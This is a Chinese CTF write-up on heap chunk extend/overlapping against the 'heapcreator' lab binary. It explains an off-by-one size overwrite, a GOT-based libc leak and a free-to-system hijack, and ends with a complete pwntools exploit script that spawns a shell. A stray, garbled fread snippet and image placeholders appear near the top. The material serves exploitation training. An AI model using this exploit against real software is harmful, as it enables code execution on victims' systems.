Chunk Extend and Overlapping

chunk extend是堆漏洞的一种常见利用手法,通过 extend可以实现 chunk overlapping的效果。这种利用方法需要以下的时机和条件:

  • 程序中存在基于堆的漏洞
  • 漏洞可以控制 chunk header 中的数据,如修改size

例题

https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/chunk-extend-shrink/hitcontraning_lab13

我们可以先创建2个堆块看看功能

xxxxxxxxxx6 1size_t fread(void ptr, size_t size, size_t nmemb, FILE stream)2​3ptr – 这是指向带有最小尺寸 size*nmemb 字节的内存块的指针4size – 这是要读取的每个元素的大小,以字节为单位5nmemb – 这是元素的个数,每个元素的大小为 size 字节6stream – 这是指向 FILE 对象的指针,该 FILE 对象指定了一个输入流C

image-20250403205513286

image-20250403210537691

editoff-by-one

edit heap0 ->content可以修改heap1size

image-20250403210457105

image-20250403211036200

通过释放heap_1

edit(0, "/bin/sh\x00" + "a" * 0x10 + "\x41")
delete(1)

image-20250403212553677

free heap1->content,再free heap1的结构块

image-20250403211524923

此时0x40的链表上已经有extend后的块了

image-20250403211714597

此时如果我们再申请一个content_size0x30的堆块,将启用fastbins中一个0x20作为new_heap1的结构块,以及0x40的作为new_heap1content块。

此时,形成了一个结构块被内容块吃掉的局面

image-20250403213502584

改前

image-20250403220105397

由于我们可以通过edit修改heapcontent,相当于我们可以伪造new_heap的结构块

改后,0x602018即为free_got

image-20250403215731291

在show中image-20250403213643448

会显示结构块中content指针变量,如果把这个指针覆盖为free_got指针,再show,就可以得到free函数的真实地址,从而成功泄露libc

此时edit new_heap1的话,由于content的指针被改了,edit会跟着free_got中的地址,我们可以把他改成别的函数地址,当执行free时,会转而执行我们所希望的函数,例如system

heap0的内容块又是binsh,直接getshell

EXP

from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
p=process('./heapcreator')
heap = ELF('./heapcreator')
libc=ELF('./libc.so.6')
def dbg():
gdb.attach(p)
def create(size, content):
p.sendlineafter(":", "1")
p.sendlineafter(":", str(size))
p.sendlineafter(":", content)
def edit(idx, content):
p.sendlineafter(":", "2")
p.sendlineafter(":", str(idx))
p.sendlineafter(":", content)
def show(idx):
p.sendlineafter(":", "3")
p.sendlineafter(":", str(idx))
def delete(idx):
p.sendlineafter(":", "4")
p.sendlineafter(":", str(idx))

create(0x18, "hollk")
create(0x10, "hollk")

edit(0, "/bin/sh\x00" + "a" * 0x10 + "\x41")

delete(1)

create(0x30, p64(0) * 3 + p64(0x21) + p64(0x30) + p64(heap.got['free']))
show(1)
p.recvuntil("Content : ")
data = p.recvuntil("Done !")

free_addr = u64(data.split(b"\n")[0].ljust(8, b"\x00"))

libc_base = free_addr - libc.symbols['free']
log.success('libc base addr: ' + hex(libc_base))
system_addr = libc_base + libc.symbols['system']

edit(1, p64(system_addr))
delete(0)
#gdb.attach(p)
p.interactive()